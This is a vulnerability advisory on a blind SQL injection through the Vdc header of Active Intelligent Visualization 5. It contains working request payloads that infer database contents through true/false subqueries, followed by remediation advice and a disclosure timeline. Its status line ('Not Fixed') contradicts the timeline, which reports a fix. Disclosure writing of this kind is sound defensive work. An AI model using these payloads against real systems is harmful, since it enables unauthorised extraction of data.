=======================================================================
- Blind SQLi
- Affected Product: Active Intelligent Visualization - 5
- Vendor: AIVHUB LTD
- Severity: High
- Vulnerability Class: SQL Injection
- Status: Not Fixed
- Author(s): Renato Cruz =======================================================================
The Vdc header is used in a SQL query without being sanitized. Breaking the header leaks the query being used:
SELECT COALESCE(SUM(CASE WHEN notification_type = 'INFORMATIVE' AND readStatus=0 THEN 1 ELSE 0 END),0) || ';' || COALESCE( --- snip --- THEN 1 ELSE 0 END),0) || ';' || COALESCE( --- snip --- THEN 1 ELSE 0 END),0) || ';' || SUM((CASE WHEN --- snip --- THEN COALESCE(c.user_count,0) ELSE 0 END)) AS unreadCount FROM < Vdc Header >_ai_notification
It is possible to understand that the injection point is in the < Vdc > Header > portion. The SELECT part of the query shows what columns and table names the query is expecting, and as the attacker controls the FROM field, it is possible to create a subquery that will return those expected fields in order to create a valid query.
The PoC below can be used to demonstrate that it is possible to build a valid query, by passing the correct fields as explained previously, and that by controlling the values of those fields, it is possible to control the response header notificationCount: 1;0;0
(SELECT 'INFORMATIVE' AS notification_type, 0 AS readstatus, ---snip--) AS n LEFT JOIN (SELECT --- snip ---) AS c ON n.id=c.notification
From this PoC, the value of readstatus can be abused to perform a blind SQLi, because if it's value is True (1), then the notificationStatus header will have value 0;0;0;0 On the other hand, if the readstatus value is False (0), the notificationStatus header will have value 1;0;0;0
With this payload, the attacker can ask True or False questions to the database, and build a simple script to automate these questions, and dump all information from the database with a blind SQL injection attack.
To inject the query, send the payload in the Vdc header, as shown in the following request:
POST /aiv/rest/dataset/spreviewNew HTTP/1.1
Host: <host>
Pt: *Original Pt Header*
Vdc: *SQL query*
Id: *user id*
Owner_roles: *original Owner_roles header*
Roles: *roles*
Logs_category: *log category*
Dc: *Dc header*
Timezone: *Timezone*
Brtm: *Brtm header*
Username: *user name"
Content-Type: application/json
X-Xsrftoken: *CSRF token*
Token: *User token*
Owner: *Owner*
*original data*
To confirm the blind SQLi, query the DB for the first character of version() and compare with the letter P (Postgres):
POST /aiv/rest/dataset/spreviewNew HTTP/1.1
Host: <host>
Pt: *Original Pt Header*
Vdc: (select 'INFORMATIVE' as notification_type, (substr(version(),1,1)='P')::int as readstatus, version() as sender, '1' as id, 'ALL' as userName) as n LEFT JOIN (select 1 as owner_count, 1 as user_count, '1' as notification) as c on n.id=c.notification -- c
Id: *user id*
Owner_roles: *original Owner_roles header*
Roles: *roles*
Logs_category: *log category*
Dc: *Dc header*
Timezone: *Timezone*
Brtm: *Brtm header*
Username: *user name"
Content-Type: application/json
X-Xsrftoken: *CSRF token*
Token: *User token*
Owner: *Owner*
*original data*
This request should return a response with the notificationCount: 0;0;0;0 header. On the other hand, if the first letter is compared with the letter X, for example:
POST /aiv/rest/dataset/spreviewNew HTTP/1.1
Host: <host>
Pt: *Original Pt Header*
Vdc: (select 'INFORMATIVE' as notification_type, (substr(version(),1,1)='X')::int as readstatus, version() as sender, '1' as id, 'ALL' as userName) as n LEFT JOIN (select 1 as owner_count, 1 as user_count, '1' as notification) as c on n.id=c.notification -- c
Id: *user id*
Owner_roles: *original Owner_roles header*
Roles: *roles*
Logs_category: *log category*
Dc: *Dc header*
Timezone: *Timezone*
Brtm: *Brtm header*
Username: *user name"
Content-Type: application/json
X-Xsrftoken: *CSRF token*
Token: *User token*
Owner: *Owner*
Content-Length: 168
*original data*
Then the response should have the notificationCount: 1;0;0;0 header. Using this it is possible to automate this query to dump information from the database.
- Use prepared statements to associate user input to data used in the queries, ensuring the query structure is kept intact.
- Ensure user input is used as additional parameters in the prepared statement function. Do not perform string concatenation.
- Always validate and sanitize input data.
- Escape all user supplied input
- 26-10-2021: Vulnerability disclosed to DeltaRM
- 28-10-2021: Acknowlegement from vendor
- 11-12-2021: Fix released by the vendor
- 10-01-2022: Retest performed, vulnerability fixed